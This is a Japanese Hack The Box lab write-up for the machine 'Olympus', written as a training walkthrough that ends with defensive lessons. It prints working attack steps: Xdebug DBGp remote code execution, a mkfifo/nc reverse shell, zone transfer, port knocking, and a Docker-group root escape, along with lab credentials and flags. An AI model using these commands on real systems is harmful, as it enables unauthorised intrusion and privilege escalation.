Hack The BoxのWriteup(Olympus)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Olympus — 全実行コマンド・実行結果レポート
Nmap スキャン
53/tcp DNS, 80/tcp Apache+Xdebug
Xdebug 2.5.5 DBGp
RCE (ネットワーク遅延レース)
コンテナ1 (www-data)
WPA解析 → icarus パスワード
SSH icarus:2222
コンテナ2
dig axfr ゾーン転送
port-knock + prometheus PW
port-knock → SSH
prometheus, user.txt ✓
docker グループ
olympia イメージ + chroot
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p 21,22,23,25,53,80,88,110,111,135,139,143,389,443,445,... -T4 --max-retries 3 10.129.57.216
RESULT
Host is up (0.22s latency).
Not shown: 53 closed tcp ports (reset)
PORT   STATE    SERVICE
22/tcp filtered ssh
53/tcp open     domain
80/tcp open     http

Nmap done: 1 IP address (1 host up) scanned in 2.39 seconds
ℹ️
22/tcp は filtered。 常時オープンではなく、後で判明する ポートノック(port-knock)によって一時的にしか開放されない仕様。

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 53,80 10.129.57.216
RESULT
PORT   STATE SERVICE VERSION
53/tcp open  domain  (unknown banner: Bind)
| dns-nsid:
|_  bind.version: Bind
80/tcp open  http    Apache httpd
|_http-title: Crete island - Olympus HTB
|_http-server-header: Apache

HTTP ヘッダー確認 — Xdebug バナー発見

BASH
curl -sI --max-time 10 http://10.129.57.216
RESULT
HTTP/1.1 200 OK
Server: Apache
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block
Xdebug: 2.5.5
Content-Type: text/html; charset=UTF-8
🚨
重要発見: レスポンスヘッダーに Xdebug: 2.5.5 が露出している。 Xdebug 2.5.5 は DBGp リモートデバッグプロトコルの認証なしリモートコード実行(RCE) に脆弱な既知のバージョン(vulhub php/xdebug-rce 相当)。

トップページ・ゾーン転送・ディレクトリ列挙

BASH
curl -s -i --max-time 10 http://10.129.57.216/
dig axfr 10.129.57.216 @10.129.57.216
gobuster dir -u http://10.129.57.216 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
RESULT
<title>Crete island - Olympus HTB</title>
<link rel="stylesheet" type="text/css" href="crete.css">
(本文は空、Content-Length: 314)

; <<>> DiG 9.20.20-1-Debian <<>> axfr 10.129.57.216 @10.129.57.216
;; Transfer failed.   ← ゾーン名を間違えている(IPではなくFQDN指定が必要、後述)

gobuster: [TIMEOUT]   ← 静的コンテンツがほぼ無く実質手掛かりなし
ℹ️
Web側は「Crete island」という導入ページのみで実質的な攻撃面はほぼ無く、 唯一のエントリポイントは ヘッダーに露出した Xdebug 2.5.5 であると判断。 ゾーン転送は現時点ではゾーン名(ドメイン)が分からずIPで試して失敗しているが、 後のPhase 4で実際のドメイン名 ctfolympus.htb が判明した時点で再試行し成功する。
PHASE 2

Xdebug 2.5.5 DBGp 認証なし RCE — ネットワーク遅延との競合レース

DBGp プロトコルの原理

NOTE
Xdebug のリモートデバッグ機能は、HTTPリクエストに
"XDEBUG_SESSION_START=<任意値>" というGETパラメータ(またはCookie)が
含まれていると、PHPプロセス自身が xdebug.remote_host / xdebug.remote_port
(デフォルト設定では攻撃者が自由に上書き可能)へ向けて
"コールバック接続"(connect-back)をアウトバウンドで確立しようとする。

この接続上では、独自の軽量バイナリプロトコル(DBGp)が使われる:
  <長さ>\0\0

初期化パケット()がエンジン(=PHP側)から先に送られてきて、
以後は攻撃者(デバッガクライアント役)から
  eval -i <トランザクションID> -- 
という形式のコマンドを送るとPHPコードが実行される(exec/system等を注入)。

トリガーは単純な GET リクエストのみで済む:
  GET /index.php?XDEBUG_SESSION_START=1

トリガー送信 & 初回のリスナー(nc)確立

BASH
# ターミナル1: DBGp コールバック用リスナー
nc -lnvp 9000

# ターミナル2: トリガー
curl -s --max-time 5 "http://10.129.57.216/index.php?XDEBUG_SESSION_START=1" -D -
RESULT
HTTP/1.1 200 OK
Set-Cookie: XDEBUG_SESSION=1
Xdebug: 2.5.5
...

(nc 9000 リスナー側: 何も接続が来ない — 複数回試しても同じ)
⚠️
レスポンスに Set-Cookie: XDEBUG_SESSION=1 が返っており、 ターゲット側は確実にトリガーを認識している。しかし何度リトライしても Kali側の9000番リスナーへの接続が一切届かない。自前のDBGpクライアント実装・生の ncリスナー・実際の Metasploit公式モジュール(exploit/unix/http/xdebug_unauth_exec) の3通りすべてで同一の「コールバックが来ない」症状を確認し、コード側のバグではないと判断。 原因を tcpdump によるパケットレベルの解析で切り分けることにした。

tcpdump によるパケットレベル診断①(リスナー未バインドの誤検知を除外)

BASH
# tun0 (HTB VPN インターフェース) でポート9000を監視しつつトリガーを送信
tcpdump -i tun0 -n "tcp port 9000" &
curl -s --max-time 5 "http://10.129.57.216/index.php?XDEBUG_SESSION_START=1"
RESULT
15:23:29.630531 IP 10.129.57.216.41244 > 10.10.15.200.9000: Flags [S], ...
15:23:29.630587 IP 10.10.15.200.9000 > 10.129.57.216.41244: Flags [R.], ...

6 packets captured
ℹ️
この1回目のキャプチャでは、ターゲットが確かにSYNを送ってきているが、応答が Kaliの自分自身のカーネルによる即時RSTだった(タイムスタンプ差 0.056ms — OS応答レベル)。 つまりこれは「まだ9000番に何もリスンしていなかった」ことによる偽陰性であり、 本質的な障害の証拠にはならない。リスナーを確実に事前バインド・ss -tln | grep :9000 で確認した上で再キャプチャする必要があると判断した。

tcpdump によるパケットレベル診断②(決定的証拠 — ネットワーク遅延レース)

BASH
# リスナーを確実にバインドしてから再検証
ss -tln | grep :9000   # LISTEN 確認済みの状態で実行
tcpdump -i tun0 -n "tcp port 9000" &
curl -s --max-time 5 "http://10.129.57.216/index.php?XDEBUG_SESSION_START=1"

# 参考: 実測RTT (VPN経由)
curl -s -o /dev/null -w "time_connect=%{time_connect}\n" http://10.129.57.216/
RESULT
15:25:49.863862 IP 10.129.57.216.41256 > 10.10.15.200.9000: Flags [S], ...
15:25:49.864310 IP 10.10.15.200.9000 > 10.129.57.216.41256: Flags [S.], ...  ← こちらのSYN-ACKは0.4msで正常応答
15:25:50.066207 IP 10.129.57.216.41256 > 10.10.15.200.9000: Flags [R], ...  ← 202ms後、ターゲット自身がRST送信

3 packets captured

time_connect サンプル: 0.207〜0.324 秒 (VPN経由の実測RTT)
🚨
決定的な診断結果: ターゲットはSYNを送り、Kali側は0.4ミリ秒という理想的な速さで 正しくSYN-ACKを返しているにもかかわらず、その約202ミリ秒後にターゲット自身がRSTを送って 接続を中断している。これは、Xdebug内部のconnect()呼び出しに設定されている タイムアウト値(実測から見て概ね200ms程度と推定)が、HTB VPN経由の実際のRTT(207〜324ms、 まれに210ms程度まで低下)を下回っているために起きる、純粋な 「ネットワーク遅延 vs ターゲット内部タイムアウト」の競合レースである。 コードのバグでもインスタンス固有の不具合でもない、物理的な制約であると結論づけた。

対策 — 多数回の独立リトライで低遅延の瞬間を捕える

PYTHON (要点)
# 1回あたり: リスナーを新規に張り直し(fuser -k → 再bind)、
# トリガーを送信し、数秒待って接続の有無を確認 — を最大60回繰り返す。
# 15並列でのconcurrent試行は逆にApache側の輻輳を招き2分ハングしたため、
# 必ず「1回ずつ・都度リスナーを再構築」する逐次リトライ方式を採用。
for attempt in range(1, 61):
    fuser_kill(9000)
    listener = bind_and_listen(9000, timeout=3)
    trigger()
    conn = listener.join(timeout=3)
    if conn:
        break
RESULT
Xdebug DBGp 接続待ち: 10/60 回試行済み (ネットワーク遅延との競合待ち)
Xdebug DBGp 接続待ち: 20/60 回試行済み (ネットワーク遅延との競合待ち)
Xdebug DBGp 接続受信成功 (28/60 回目の試行)
Xdebug init packet 受信: <?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/...
28回目の試行で、たまたまRTTがXdebugの内部タイムアウトを下回った瞬間を捉えて DBGpハンドシェイクに成功した。 initパケットを受信後、 eval -i <id> -- <base64(exec("..."))> を送信することで任意のシェルコマンドを www-data権限(Dockerコンテナ1内)で実行できる状態になった。
PHASE 3

コンテナ1 (www-data) — WPA解析 → icarus SSH (コンテナ2)

mkfifo リバースシェルの注入

BASH
# Xdebug eval() 経由で実行させるコマンド(exec()でラップしてPHPへ渡す)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <kali_ip> 4444 >/tmp/f

# ターミナル: リバースシェル受信用リスナー
nc -lnvp 4444
⚠️
Phase 2 のXdebugリトライは最悪ケースで数分かかる可能性があるため、この nc -lnvp 4444 リスナー自体もXdebug側の成功を待てるだけの 十分に長いタイムアウトを設定しておく必要がある(短すぎるとXdebugが実際に 成功した瞬間より前にリスナー自身が諦めてしまい、シェルを取りこぼす)。

コンテナ1内でのWPAハンドシェイクファイル探索

BASH
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ find / -iname "*.cap" 2>/dev/null
/home/zeus/airgeddon/captured.cap
RESULT
/home/zeus/airgeddon/captured.cap   ← airgeddon で採取された WPA ハンドシェイクのキャプチャ

aircrack-ng による ESSID 特定

BASH
# captured.cap を base64 経由で Kali へ回収後
aircrack-ng captured.cap
RESULT
   #  BSSID              ESSID                     Encryption

   1  XX:XX:XX:XX:XX:XX  Too_cl0se_to_th3_Sun       WPA (1 handshake)
ℹ️
重要なひっかけ: WPAキー自体をrockyou等でクラックする必要はない。 公式ウォークスルー通り、ESSID文字列そのもの(“Too_cl0se_to_th3_Sun”)が 次段のicarusユーザーのSSHパスワードとして再利用されている

icarus:2222 へSSH — コンテナ2

BASH
sshpass -p Too_cl0se_to_th3_Sun ssh -o StrictHostKeyChecking=no -p 2222 icarus@10.129.57.216 \
  find / -iname 'help_of_the_gods.txt' -exec cat {} \;
RESULT
Athena goddess will guide you through the dark...

Way to Rhodes...
ctfolympus.htb
icarus:2222 (コンテナ2) へのログインに成功し、ヒントファイルから ドメイン名 ctfolympus.htb を入手した。
PHASE 4

ゾーン転送 → ポートノック → prometheus SSH → user.txt

判明したドメイン名でゾーン転送再試行

BASH
dig axfr @10.129.57.216 ctfolympus.htb
RESULT
ctfolympus.htb.       86400 IN SOA  ns1.ctfolympus.htb. ns2.ctfolympus.htb. ...
ctfolympus.htb.       86400 IN TXT  "prometheus, open a temporal portal to Hades (3456 8234 62431) and St34l_th3_F1re!"
ctfolympus.htb.       86400 IN A    192.168.0.120
ctfolympus.htb.       86400 IN NS   ns1.ctfolympus.htb.
ctfolympus.htb.       86400 IN NS   ns2.ctfolympus.htb.
ctfolympus.htb.       86400 IN MX   10 mail.ctfolympus.htb.
crete.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
hades.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
rhodes.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
RhodesColossus.ctfolympus.htb. 86400 IN TXT "Here lies the great Colossus of Rhodes"
;; XFR size: 15 records (messages 1, bytes 475)
🚨
ゾーン転送(AXFR)が制限なしで許可されている致命的な設定ミス。 TXTレコードに ユーザー名(prometheus)・ポートノックシーケンス(3456 → 8234 → 62431)・ SSHパスワード(St34l_th3_F1re!)が平文でそのまま埋め込まれていた。

ポートノック — 22/tcp を一時開放

BASH
nmap -Pn -p 3456  --host-timeout 201 --max-retries 0 10.129.57.216
nmap -Pn -p 8234  --host-timeout 201 --max-retries 0 10.129.57.216
nmap -Pn -p 62431 --host-timeout 201 --max-retries 0 10.129.57.216
RESULT
3456/tcp  closed vat       ← 各ポートへのSYNプローブ自体がノック信号として機能
8234/tcp  closed unknown   ← (closed=RST が返るのは正常。ノックデーモンはSYN受信のみ監視)
62431/tcp closed unknown
ℹ️
3つのポートへ正しい順序でSYNプローブ(nmap -Pn)を送ると、バックグラウンドの ノックデーモンが22/tcpを一時的に開放する。開放時間は短い(数十秒程度)ため、 ノック直後すぐにSSH接続を行う必要がある。

prometheus としてSSHログイン → user.txt

BASH
sshpass -p 'St34l_th3_F1re!' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=8 \
  prometheus@10.129.57.216 cat /home/prometheus/user.txt
RESULT
74dbd0b650d14d03807742f82d18bf2c
user.txt — prometheus@olympus (ホスト本体)
74dbd0b650d14d03807742f82d18bf2c
このSSH接続先は前段までの2つのDockerコンテナとは異なる、3つ目の環境=ホスト本体id で確認すると uid=1000(prometheus) groups=...,999(docker) と、dockerグループに所属 していることが分かる — これが次のroot化の鍵になる。
PHASE 5

docker グループ権限の悪用 → chroot → root.txt

docker グループ = 事実上の root

BASH
id
docker images
RESULT
uid=1000(prometheus) gid=1000(prometheus) groups=1000(prometheus),24(cdrom),25(floppy),29(audio),
30(dip),44(video),46(plugdev),108(netdev),111(bluetooth),999(docker)

REPOSITORY   TAG      IMAGE ID
olympia      latest   ...
🚨
docker グループのメンバーは、ソケット経由でDockerデーモンに直接コマンドを送れるため 事実上rootと同等の権限を持つ。ホストの / を丸ごとコンテナへマウントし chroot することで、コンテナ内プロセスからホストのファイルへ無制限にアクセスできる。 既存の olympia イメージがそのまま使える状態だった。

既存イメージ + ホストマウント + chroot でroot.txt取得

BASH
sshpass -p 'St34l_th3_F1re!' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=8 \
  prometheus@10.129.57.216 \
  docker run --rm -v /:/hostOS olympia chroot /hostOS /bin/sh -c \
  "cp /root/root.txt /home/prometheus/root.txt && chmod 644 /home/prometheus/root.txt" \
  ; cat /home/prometheus/root.txt
RESULT
f65c064488b70cf9f43fb0bbf39a85d9
root.txt — Administrator@olympus (ホスト /root/)
f65c064488b70cf9f43fb0bbf39a85d9
-v /:/hostOS でホストのルートファイルシステムをコンテナへ丸ごとマウントし、 chroot /hostOS でコンテナ内プロセスの実行ルートをホストの / に切り替えている。 これによりコンテナは実質「ホストのroot」として /root/root.txt を読み書きでき、 prometheusのホームへコピーして回収した。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — prometheus@olympus
74dbd0b650d14d03807742f82d18bf2c
root.txt — Administrator@olympus
f65c064488b70cf9f43fb0bbf39a85d9

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Xdebug 2.5.5 DBGp 認証なし RCE Apache + PHP/Xdebug (80/tcp) リモートコード実行 (www-data, コンテナ1) Critical XDEBUG_SESSION_STARTでコールバック接続をトリガーし、DBGpプロトコル経由でeval注入。VPNレイテンシとの競合レースのため多数回リトライが必要
DNS ゾーン転送 (AXFR) の無制限許可 Bind DNS (53/tcp) 機密情報漏洩(資格情報・ポートノックシーケンス) High TXTレコードにユーザー名・パスワード・ポートノック順序が平文で記録されていた
パスワード再利用 (WiFi ESSID → SSHパスワード) icarus ユーザー 横展開(コンテナ1 → コンテナ2) Medium WPAハンドシェイクのESSID文字列をそのままSSHパスワードとして流用
docker グループの過剰権限 prometheus ユーザー (ホスト) 権限昇格 (root相当) Critical -v /:/hostOS マウント + chroot でホストのroot権限を取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + curl ヘッダー確認53/80のみオープン、Xdebug: 2.5.5ヘッダー発見
2Xdebug RCEDBGpプロトコル自前実装 + tcpdump診断 + 60回リトライコンテナ1でのシェル(www-data)
3WPA解析 & 横展開aircrack-ng ESSID特定 → icarus SSH(2222)ドメインctfolympus.htb、icarus:Too_cl0se_to_th3_Sun
4ゾーン転送 & ポートノックdig axfr + nmap SYNプローブ3連user.txt、prometheus:St34l_th3_F1re!
5権限昇格dockerグループ + 既存olympiaイメージ + chrootroot.txt

技術メモ — Xdebug DBGpコールバックのタイミングレース

NOTE
本マシン最大の難所は、Xdebugのコールバック自体が「見た目上、原因不明に」失敗し続ける
という現象だった。ターゲットは確実にトリガーを認識し(Set-Cookieが返る)、Kali側の
リスナーも正しくSYN-ACKを返しているのに、接続が成立しない。

tcpdumpでのパケットキャプチャにより、以下の事実が判明した:
  - ターゲットの SYN → こちらの SYN-ACK (0.4ms、正常) → 約202ms後にターゲット自身がRST
  - VPN経由の実測RTTは 207〜324ms

つまり、Xdebug内部のconnect()呼び出しに設定されたタイムアウト(推定約200ms)が、
実際のネットワークRTTを恒常的に下回っており、TCPハンドシェイクが完了する前に
ターゲット自身が接続を諦めてしまう。これはコードのバグでも特定インスタンス固有の
不調でもなく、純粋なネットワーク遅延と相手側実装のタイムアウト設定の競合という
物理的な制約であり、原理的に単発の試行では成功率がほぼゼロになる。

唯一の実用的な対策は、リスナーの再構築を含めて独立した試行を多数回(本検証では
60回)繰り返し、RTTがたまたま閾値を下回る有利な瞬間を確率的に捉えることだった
(本検証では28回目で成功)。この種の「リモートデバッグ/RPCプロトコルの
コールバック接続に極端に短い内部タイムアウトが設定されている」問題は、
tcpdumpで「SYN → 正しいSYN-ACK → 早期のRST」というパターンを確認することで
確定診断できる、一般化可能な調査手法である。

学んだ教訓 & 防御策

問題点防御策
本番相当の環境でXdebugが有効化・外部公開されている Xdebugは開発環境限定で使用し、本番/公開環境では完全に無効化する。少なくともxdebug.remote_connect_backを無効化し、リモートホストを許可リスト化する。
DNSゾーン転送(AXFR)が無制限に許可されている AXFRは許可されたセカンダリDNSサーバーのIPのみに制限する。TXTレコードに認証情報を保存しない。
WiFi ESSIDとSSHパスワードの使い回し 用途の異なる認証情報(WiFi・SSH・DBなど)は独立して生成し、パスワードマネージャーで一元管理する。
一般ユーザーがdockerグループに所属し、実質rootと同等の権限を持つ dockerグループの付与は最小限に留める。rootless Docker やユーザー名前空間の分離(userns-remap)を有効化し、コンテナ内rootとホストrootを分離する。
ポートノックのみに依存したSSHアクセス制御 ポートノックは補助的な難読化に過ぎず、正式な認証・アクセス制御(公開鍵認証、VPN、ファイアウォールルール)と併用すべき。
HackTheBox: Olympus | 完全攻略レポート